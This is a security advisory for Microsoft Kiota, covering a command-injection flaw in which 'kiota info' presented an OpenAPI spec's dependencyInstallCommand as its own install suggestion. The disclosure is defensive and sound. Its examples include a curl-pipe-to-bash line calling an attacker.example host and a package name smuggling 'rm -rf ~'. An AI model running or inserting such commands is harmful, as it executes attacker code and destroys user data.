GHSA-hq9q-27g5-qwpj Microsoft Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`

• NuGet Microsoft.OpenApi.Kiota: >= 1.30.0, < 1.32.5 → fixed in 1.32.5 • NuGet Microsoft.OpenApi.Kiota.Builder: >= 1.30.0, < 1.32.5 → fixed in 1.32.5 • NuGet Microsoft.OpenApi.Kiota: < 1.29.1 → fixed in 1.29.1 • NuGet Microsoft.OpenApi.Kiota.Builder: < 1.29.1 → fixed in 1.29.1

Summary `kiota info` — the command developers run to learn which packages to install after generating a client — read the `x-ms-kiota-info` extension from the OpenAPI description and presented the spec-supplied `dependencyInstallCommand` (and dependency `name`/`version`) as the tool's own recommended install command, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised description: ``` $ kiota info -d -l CSharp ... Hint: use the install command to install the dependencies. Example: curl -s https://attacker.example/x.sh | bash # attacker-controlled ``` A developer who followed kiota's explicit instruction (run the suggested install command) executed attacker-controlled shell — command injection → RCE. The IDE-facing `kiota info --json` output, which the Kiota VS Code extension consumes to offer/run dependency installation, exposed the raw command string directly, so an "install dependencies" action in the IDE could run it automatically. Confirmed on Kiota 1.32.4. Details `x-ms-kiota-info.languagesInformation..dependencyInstallCommand` was emitted verbatim as the install-command example, and `dependencies[].name`/`version` were shown verbatim in the package table: ``` spec x-ms-kiota-info: languagesInformation: CSharp: dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash" dependencies: [{ name: "Evil.Pkg; rm -rf ~", version: "1.0.0", type: bundle }] ``` Without `x-ms-kiota-info`, kiota suggests its own trusted command (e.g. `dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0`); the spec's value replaced it. `kiota info --json` (consumed by the Kiota VS Code extension) emitted the attacker command in `dependencyInstallCommand`. Impact A developer who ran `kiota info` on an attacker-controlled or compromised OpenAPI description and followed kiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI host. The Kiota VS Code extension, which surfaced/ran `dependencyInstallCommand` from the `--json` output, could make this automatic. CWE-94 / CWE-829. Precondition: the description is from an untrusted source (or a trusted one that was tampered with), and the recommended command is run (manually per kiota's hint, or by the IDE). Patches Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied `dependencyInstallCommand` in `x-ms-kiota-info` was removed entirely: `kiota info` no longer reads or presents a description-provided install command and only surfaces kiota's own built-in, package-manager templates. The `--json` output no longer carries a spec-controlled command string for the IDE to run. Remediation Upgrade to Kiota 1.29.1, 1.32.5, or later. Update the Kiota VS Code extension to a version built against 1.32.5+.